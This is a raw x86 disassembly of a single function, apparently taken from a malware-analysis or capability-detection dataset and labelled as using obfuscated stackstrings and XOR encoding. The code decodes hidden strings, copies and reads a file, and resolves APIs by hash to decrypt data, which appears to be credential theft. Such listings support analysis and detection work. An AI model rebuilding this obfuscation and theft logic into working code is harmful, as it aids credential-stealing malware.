Function at 0x42985c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00428040
add esp, 4
test al, al
je 0x4286a0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0x29982b6b
mov dword [esp + 0xa4], 0x2d9a2f9d
mov dword [esp + 0xa8], 0x319e338b
mov dword [esp + 0xac], 0x3566379c
mov dword [esp + 0xb0], 0x398e3b93
mov dword [esp + 0xb4], 0x3d3e3f90
mov eax, 7
mov ecx, 0xf8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0x99]
mov edi, ecx
or edi, esi
lea edx, [esi + esi]
not edx
add edx, esi
or edx, eax
and edx, edi
mov bl, 0xdc
sub bl, dl
mov byte [esp + eax + 0x99], bl
inc eax
dec ecx
cmp eax, 0x1f
jne 0x428700
mov dword [esp + 0x14], 0xf580964
mov dword [esp + 0x18], 0x3590d49
mov dword [esp + 0x1c], 0x7510159
mov dword [esp + 0x20], 0x1b4c0550
mov dword [esp + 0x24], 0x1f721971
mov dword [esp + 0x28], 0x13531d41
mov dword [esp + 0x2c], 0x174e1157
mov dword [esp + 0x30], 0x2b78154d
mov dword [esp + 0x34], 0x2f42296d
mov dword [esp + 0x38], 0x23712d7b
mov dword [esp + 0x3c], 0x2772217a
mov dword [esp + 0x40], 0x3b7b254f
mov dword [esp + 0x44], 0x3f7b396e
mov dword [esp + 0x48], 0x33583d50
mov dword [esp + 0x4c], 0x374a3151
mov dword [esp + 0x50], 0x4b2f35be
mov dword [esp + 0x54], 0x4f194924
mov dword [esp + 0x58], 0x43274d38
mov dword [esp + 0x5c], 0x473b4121
mov word [esp + 0x60], 0x4544
mov dword [esp + 0x62], 0
mov eax, 2
mov ecx, 0x7d
nop
nop
nop
nop
nop
nop
lea edx, [ecx - 0x40]
and edx, 0x27
mov esi, eax
and esi, 0x40
or esi, edx
mov edx, ecx
and edx, 0x98
or edx, esi
xor dl, byte [esp + eax + 0x12]
xor dl, 0xbf
add dl, 0x76
mov byte [esp + eax + 0x12], dl
inc eax
dec ecx
cmp eax, 0x54
jne case.default.0x42882a
lea ebp, [esp + 0xa0]
lea edi, [esp + 0x14]
push ebp
push edi
call fcn.0043a290
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x448d14]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x428840
sub eax, esi
cmp eax, 0xffffffd9
jge 0x428860
mov eax, 0xffffffff
jmp 0x428863
xor eax, eax
jmp 0x429513
add eax, 0x26
push eax
call fcn.00408580
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x14], 0x93f191f4
mov dword [esp + 0x18], 0xafd8addb
mov dword [esp + 0x1c], 0xabd3a9d6
mov dword [esp + 0x20], 0xa7c2a5db
mov dword [esp + 0x24], 0xa3d5a1c3
mov dword [esp + 0x28], 0xbfc0bdca
mov dword [esp + 0x2c], 0xbbc5b9c1
mov dword [esp + 0x30], 0xb738b582
mov dword [esp + 0x34], 0xb3ccb1cc
mov word [esp + 0x38], 0xcdcc
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov eax, 0x1c
mov ecx, 0xe3
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 8]
mov edx, ecx
xor edx, eax
and edx, ebx
xor edx, eax
add dl, 0x74
mov byte [esp + eax - 8], dl
inc eax
dec ecx
cmp eax, 0x48
jne 0x4288e0
movzx ecx, word [esi]
mov ebx, dword [esp + 4]
mov eax, ebx
test cx, cx
je 0x428921
mov edx, esi
add edx, 2
mov eax, ebx
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428910
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x428951
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428940
mov word [eax], 0
jmp dword [0x448d1c]
push esi
call fcn.00408590
add esp, 4
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x448d24]
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x448d24]
mov dword [esp + 0x14], 0x29f42be1
mov dword [esp + 0x18], 0x2dcb2fd4
mov dword [esp + 0x1c], 0xd140d3bd
mov dword [esp + 0x20], 0xd539d73a
mov dword [esp + 0x24], 0xd926db3d
mov dword [esp + 0x28], 0xdd4fdf3d
mov dword [esp + 0x2c], 0xc128c34e
mov dword [esp + 0x30], 0xc52fc72f
mov dword [esp + 0x34], 0xc950cb16
mov dword [esp + 0x38], 0xcd24cf2c
mov dword [esp + 0x3c], 0xf3cc
mov byte [esp + 0x40], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x14]
mov edx, eax
and edx, 0x35
mov esi, eax
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edx
or edx, 2
imul edx, esi
mov esi, eax
xor esi, 0x2e80bf7
add esi, ebx
add esi, edx
mov edx, esi
and edx, ecx
add edx, edx
sub esi, edx
mov ebx, 0xd9
sub ebx, esi
sub ebx, ecx
add ecx, esi
add ecx, 6
and ebx, 0xfa
and ecx, 5
sub ecx, ebx
inc cl
mov byte [esp + eax + 0x14], cl
lea ecx, [eax + eax]
and ecx, 2
mov edx, eax
not edx
or edx, 1
lea ebx, [edx + eax]
inc ebx
mov edx, ebx
or edx, 2
mov esi, ebx
and esi, 2
imul edx, esi
and ebx, 0xfffffffd
xor esi, 2
imul esi, ebx
neg ecx
add eax, ecx
inc eax
add eax, edx
add eax, esi
cmp eax, 0x2d
jb case.default.0x428a9f
push 0
push edi
mov ebx, dword [esp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
push ebx
call fcn.00441030
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448d2c]
xor esi, esi
xor ebp, ebp
jmp dword [0x448d9c]
push ebx
call fcn.00408590
add esp, 4
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x448da4]
xor eax, eax
test esi, esi
jne 0x4294d7
jmp 0x429513
lea eax, [esp + 0x78]
push 0
push eax
push dword [esp + 0xa8]
call fcn.004413b0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x448d34]
mov esi, dword [esp + 0x78]
lea eax, [esi + 1]
push eax
call fcn.00408580
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.00441480
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x448d3c]
jmp dword [0x448d48]
add eax, 8
mov dword [esp + 8], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ecx, dword [esp + 0x70]
mov dword [esp + 4], ecx
jmp dword [eax*4 + 0x448dfc]
mov edx, dword [esp + 0x88]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x448dfc]
mov eax, dword [edx]
cmp dword [edx + 0x18], 3
mov edi, 0
jne case.default.0x428b9e
mov edi, dword [edx + 0x10]
mov dword [esp + 0x88], edx
mov dword [esp + 0x10], eax
test eax, eax
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448e04]
mov dword [esp], esi
mov ecx, edi
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x428be6
mov dword [esp + 0xc], ebp
sub eax, edi
inc eax
mov ecx, eax
shr ecx, 1
and eax, 2
mov dword [esp + 0x6c], ecx
xor ecx, 1
add ecx, eax
push ecx
call fcn.00408580
add esp, 4
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x68], eax
jmp dword [ecx*4 + 0x448e0c]
inc edi
mov byte [eax], cl
inc eax
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x448e0c]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x428c12
mov ecx, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x428c2d
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [edi + 1]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x448e14]
lea esi, [edx - 0x30]
cmp esi, 0xa
jb 0x428c41
mov esi, 0xffffffff
or edx, 0x20
lea ebp, [edx - 0x61]
cmp ebp, 6
jae case.default.0x428c66
add edx, 0xffffffa9
mov esi, edx
add edi, 2
shl ecx, 4
or ecx, esi
mov byte [eax], cl
inc eax
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x448e0c]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x1c]
call fcn.0042b580
add esp, 0x10
mov dword [esp + 0x10], eax
mov ebp, edx
xor ebx, ebx
mov ecx, dword [case.0x42882a.74]
xor eax, eax
mov esi, dword [esp]
cmp esi, dword [esp + 0xc]
setne al
jmp dword [eax*4 + 0x448e1c]
mov eax, dword [esi + 4]
mov edi, eax
shr edi, 0x1c
shl eax, 4
or eax, 1
xor edi, ebp
xor eax, dword [esp + 0x10]
xor edx, edx
or eax, edi
sete dl
jmp dword [edx*4 + 0x448e24]
mov eax, 1
jmp dword [eax*4 + 0x448e2c]
mov ebx, dword [esi]
xor eax, eax
jmp dword [eax*4 + 0x448e2c]
jmp ecx
add esi, 8
xor eax, eax
cmp esi, dword [esp + 0xc]
setne al
jmp dword [eax*4 + 0x448e1c]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x448e44]
mov ebp, dword [esp + 0xc]
mov esi, dword [esp]
mov edi, dword [esp + 0x68]
jmp dword [0x448e64]
lea esi, [esp + 0x14]
mov edi, dword [esp + 0x68]
jmp dword [0x448e50]
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edi
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + eax + 1], 0
lea eax, [eax + 1]
jne 0x428d50
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
push 0xe18a387a
push dword [0x44def0]
call fcn.00440630
add esp, 8
lea ecx, [esp + 0x80]
lea edx, [esp + 0x78]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edi
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + eax + 1], 0
lea eax, [eax + 1]
jne 0x428dd0
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
push 0xe18a387a
push dword [0x44def0]
call fcn.00440630
add esp, 8
lea ecx, [esp + 0x80]
lea edx, [esp + 0x78]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
jmp dword [0x448e58]
xor ecx, ecx
test eax, eax
setne cl
mov ebp, dword [esp + 0xc]
mov esi, dword [esp]
jmp dword [ecx*4 + 0x448e5c]
jmp dword [0x448e64]
movzx eax, byte [ebx]
test al, al
je 0x428e5d
inc ebx
mov ecx, dword [esp + 4]
mov byte [ecx], al
inc ecx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x428e50
jmp 0x428e61
mov ecx, dword [esp + 4]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x80]
test esi, esi
je 0x428ea1
mov ecx, dword [esp + 0x84]
mov edx, esi
and edx, 3
je 0x428ea5
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x428e86
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x428ea7
mov esi, eax
jmp 0x428eeb
mov edx, esi
cmp esi, 4
mov esi, edi
mov edi, dword [esp + 0x68]
jb 0x428eeb
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x428eb2
mov byte [esi], 0xa
inc esi
mov dword [esp + 4], esi
push 0xa7ffa4f5
push dword [0x44ded8]
call fcn.00440630
add esp, 8
push dword [esp + 0x84]
call eax
mov al, 1
mov dword [esp + 8], eax
mov esi, dword [esp]
jmp dword [0x448e64]
jmp dword [0x448e6c]
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x448da4]
mov dword [esp], esi
mov dword [esp + 0x14], 0xf306f12d
mov dword [esp + 0x18], 0xef0ded7b
mov dword [esp + 0x1c], 0xeb7ee909
mov dword [esp + 0x20], 0xe776e525
mov dword [esp + 0x24], 0xe31ee170
mov dword [esp + 0x28], 0x9f129d7d
mov dword [esp + 0x2c], 0x9b479979
mov dword [esp + 0x30], 0x97659570
mov dword [esp + 0x34], 0x930f911c
mov dword [esp + 0x38], 0x8f1b8d6d
mov dword [esp + 0x3c], 0x8b1e896c
mov dword [esp + 0x40], 0x87658513
mov dword [esp + 0x44], 0x83168161
mov dword [esp + 0x48], 0xbf30bd6a
mov dword [esp + 0x4c], 0xbb24b924
lea eax, [esp + 0x50]
mov dword [esp + 0x50], 0xb5b4
mov byte [esp + 0x54], 0
xor ecx, ecx
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x2c
xor dl, byte [esp + ecx + 0x14]
add dl, 0x24
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 0x41
jne 0x428fe0
lea edx, [esp + 0x14]
mov ecx, 0xf
lea ebx, [esp + 0xa0]
mov edi, ebx
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44dee0]
mov dword [esp + 0x14], 0x21e6e7b9
mov byte [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x14]
lea edi, [ecx + 0x3db8dbd9]
and edi, edx
add edi, edi
neg edi
lea ebx, [ecx + edi]
add ebx, 0x3db8dbd9
add bl, dl
add bl, 0xc3
mov byte [esp + ecx + 0x14], bl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 5
jb case.default.0x42908e
xor ecx, ecx
cmp eax, dword [esp + 0x14]
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x448dac]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x4290a7
mov eax, 0xffffffff
jmp 0x4290aa
lea eax, [edi + edi]
push eax
call fcn.00408580
add esp, 4
mov ebx, eax
push esi
push edi
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44dee0]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448db4]
xor eax, eax
jmp dword [0x448dbc]
push ebx
call fcn.00408590
add esp, 4
xor eax, eax
jmp 0x4294d0
mov eax, ebp
mov esi, dword [esp]
sub eax, esi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408580
add esp, 4
mov edi, eax
lea eax, [esp + 0x8c]
push 0x60
push 3
push 0x120089
push eax
push ebx
call fcn.00441030
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448dc4]
xor eax, eax
mov ecx, dword [0x448e94]
mov dword [esp + 4], edi
jmp 0x429410
mov dword [esp + 0x74], ebx
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x94]
call fcn.004413b0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov esi, edi
jmp dword [eax*4 + 0x448dcc]
mov dword [esp + 0x70], edi
mov edi, dword [case.0x428a9f.44]
mov esi, dword [esp + 0x98]
lea ebx, [esi + 1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.00408580
add esp, 4
jmp edi
push 0
push esi
mov dword [esp + 0x9c], eax
push eax
push dword [esp + 0x98]
call fcn.00441480
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov edi, dword [esp + 0x70]
mov esi, edi
jmp dword [eax*4 + 0x448de4]
mov ebx, edi
mov edi, dword [esp + 0x98]
mov esi, dword [esp + 0x94]
mov byte [esi + edi], 0
push 0x20
call fcn.00408580
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x90], eax
mov ecx, eax
push edi
push esi
call fcn.0042b180
movzx eax, al
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov esi, dword [esp]
jmp dword [eax*4 + 0x448dec]
mov dword [esp + 0x14], 0x3d283659
mov dword [esp + 0x18], 0x22302039
mov dword [esp + 0x1c], 0x3d2d517d
mov dword [esp + 0x20], 0x487b2436
mov dword [esp + 0x24], 0x26353828
mov dword [esp + 0x28], 0x2b235e61
mov dword [esp + 0x2c], 0x2533302a
mov dword [esp + 0x30], 0xcd373855
mov dword [esp + 0x34], 0x67cb
mov byte [esp + 0x38], 0
mov eax, 0x99a8cf61
mov ecx, 0x9e
movzx esi, byte [esp + eax + 0x665730b3]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
mov edi, edx
xor edi, 0x4c0ce5
mov esi, edx
or esi, 0x99a0c31a
and esi, edi
mov edi, esi
and edi, 0xfd
mov ebx, edx
and ebx, 2
or esi, 2
imul esi, ebx
xor ebx, 2
imul ebx, edi
xor edx, 0x1a
add edx, esi
add edx, ebx
inc dl
mov byte [esp + eax + 0x665730b3], dl
inc eax
dec ecx
cmp eax, 0x99a8cf86
jne 0x429296
mov ecx, dword [esp + 0x90]
lea eax, [esp + 0x14]
push eax
call fcn.0042b370
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 8], 0
mov edx, dword [esp + 0x70]
mov dword [esp + 4], edx
mov esi, dword [esp]
jmp dword [ecx*4 + 0x448df4]
mov dword [esp], esi
mov edi, dword [esp + 0x70]
mov esi, dword [esp + 4]
jmp dword [0x448e7c]
jmp dword [0x448e84]
mov dword [esp + 4], esi
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x14], 0xc0d0a0b
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 2
mov edx, 0xeb40efd
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x12]
mov ebx, edx
or ebx, esi
not esi
or esi, ecx
and esi, ebx
mov ebx, 0xf4
sub ebx, esi
and esi, 1
or ebx, 1
add ebx, esi
mov byte [esp + ecx + 0x12], bl
inc ecx
dec edx
cmp ecx, 9
jne 0x429390
mov ecx, dword [0x44dee4]
test ecx, ecx
je 0x4293fa
mov edx, dword [esp + 0x14]
xor esi, esi
mov ebx, dword [0x44dee8]
nop
cmp dword [ebx + esi*8], 0x1b6183f2
je 0x4293e0
inc esi
cmp ecx, esi
jne 0x4293d0
jmp 0x4293fa
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
je 0x4293fa
push eax
push 4
push ecx
push dword [0x44deec]
call fcn.0043e980
add esp, 0x10
mov ecx, dword [0x448e94]
mov esi, dword [esp]
mov ebx, dword [esp + 0x74]
mov eax, dword [esp + 8]
nop
nop
nop
nop
nop
jmp ecx
mov esi, dword [esp]
test esi, esi
je 0x429513
cmp esi, ebp
je 0x429513
mov ebx, eax
mov edi, esi
jmp 0x4294f7
add esi, 8
cmp esi, ebp
je 0x429508
mov eax, dword [esi]
test eax, eax
je 0x4294f0
push eax
call fcn.00408590
add esp, 4
jmp 0x4294f0
push edi
call fcn.00408590
add esp, 4
mov eax, ebx
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x448d70]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebp, ebp
xor edx, edx
xor esi, esi
jmp dword [eax*4 + 0x448d74]
mov esi, dword [esp]
mov eax, dword [esp + 0x10]
mov dword [esi + eax + 4], ecx
add ebp, 8
mov ecx, dword [esp + 0x88]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov edx, dword [esp + 8]
jmp dword [eax*4 + 0x448d74]
mov dword [esp + 0x88], ecx
mov esi, ebp
mov ebp, dword [ecx]
mov eax, esi
sub eax, edi
mov dword [esp + 0xc], esi
cmp esi, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x6c], ebp
je 0x4295c1
mov esi, edi
jmp 0x42963e
sar eax, 3
inc eax
mov ebp, edx
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x4295da
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.00408580
add esp, 4
mov esi, eax
test edi, edi
je 0x42962b
cmp edi, ebp
je 0x429622
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x429600
push edi
call fcn.00408590
add esp, 4
lea edx, [esi + ebx*8]
mov ecx, esi
mov eax, dword [esp + 0x10]
add ecx, eax
mov dword [esp + 0xc], ecx
mov ebp, dword [esp + 0x6c]
mov dword [esp + 8], edx
mov dword [esi + eax], 0
mov dword [esi + eax + 4], 0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x429660
push ebx
call fcn.00408580
add esp, 4
mov dword [esp], esi
mov ecx, dword [esp + 0x10]
mov dword [esi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, ebx
inc cl
test cl, 1
mov ebp, dword [esp + 0xc]
jne 0x4296cb
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp ebx, 1
je 0x429570
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x6c]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebp, edi
shl ebp, 0x1d
sar ebp, 0x1f
and ebp, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebp
mov ebp, edi
shl ebp, 0x1b
sar ebp, 0x1f
and ebp, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebp
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x4296e0
not ecx
mov ebp, dword [esp + 0xc]
jmp 0x429570
mov dword [esp], esi
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0xc0d0a0b
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 2
mov edx, 0xeb40efd
nop
nop
nop
movzx esi, byte [esp + ecx + 0x12]
mov edi, edx
or edi, esi
not esi
or esi, ecx
and esi, edi
mov ebx, 0xf4
sub ebx, esi
and esi, 1
or ebx, 1
add ebx, esi
mov byte [esp + ecx + 0x12], bl
inc ecx
dec edx
cmp ecx, 9
jne 0x4297b0
mov ecx, dword [0x44dee4]
test ecx, ecx
mov ebx, dword [esp + 4]
je 0x429818
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44dee8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x429810
inc esi
cmp ecx, esi
jne 0x429800
jmp 0x429818
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x429821
mov esi, dword [esp]
jmp dword [0x448d9c]
push eax
push 4
push ecx
push dword [0x44deec]
call fcn.0043e980
add esp, 0x10
mov esi, dword [esp]
jmp dword [0x448d9c]
mov edi, dword [esp + 0x74]
mov ecx, edi
call fcn.0042b4e0
push edi
call fcn.00408590
add esp, 4
jmp dword [0x448d84]
jmp dword [0x448d8c]
mov dword [esp + 0x74], ebp
mov dword [esp + 0x68], ebx
movzx eax, al
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x448d54]
mov dword [esp + 0x14], 0x45584e69
mov dword [esp + 0x18], 0x524050b9
mov dword [esp + 0x1c], 0x35556105
mov dword [esp + 0x20], 0x187b2c3e
mov dword [esp + 0x24], 0x3e2d2838
mov dword [esp + 0x28], 0x20270071
mov dword [esp + 0x2c], 0x2d383035
mov word [esp + 0x30], 0x5b2d
mov dword [esp + 0x32], 0
mov word [esp + 0x36], 0
mov eax, 0x4829bbb5
mov ecx, 0x17d6444a
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x4829bba1]
mov ebx, ecx
and ebx, 0x14004022
mov edx, eax
and edx, 0x4020105d
or edx, ebx
xor edx, esi
mov esi, edx
and esi, 0x76
add esi, esi
xor esi, 0x44
xor edx, 0xd4
add edx, esi
inc dl
mov byte [esp + eax - 0x4829bba1], dl
inc eax
dec ecx
cmp eax, 0x4829bbd9
jne 0x4298d0
mov ecx, dword [esp + 0x74]
push edi
call fcn.0042b370
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x448d5c]
mov ebx, dword [esp + 0x68]
jmp dword [0x448d7c]
jmp dword [0x448d84]
push ebx
call fcn.00408590
add esp, 4
push ebx
call fcn.00408590
add esp, 4
jmp dword [0x448d98]
mov esi, dword [esp + 0x78]
mov byte [ebx + esi], 0
push 0x20
call fcn.00408580
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.0042b180
mov esi, dword [esp + 0x78]
mov byte [ebx + esi], 0
push 0x20
call fcn.00408580
add esp, 4
mov ebp, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.0042b180
jmp dword [0x448d50]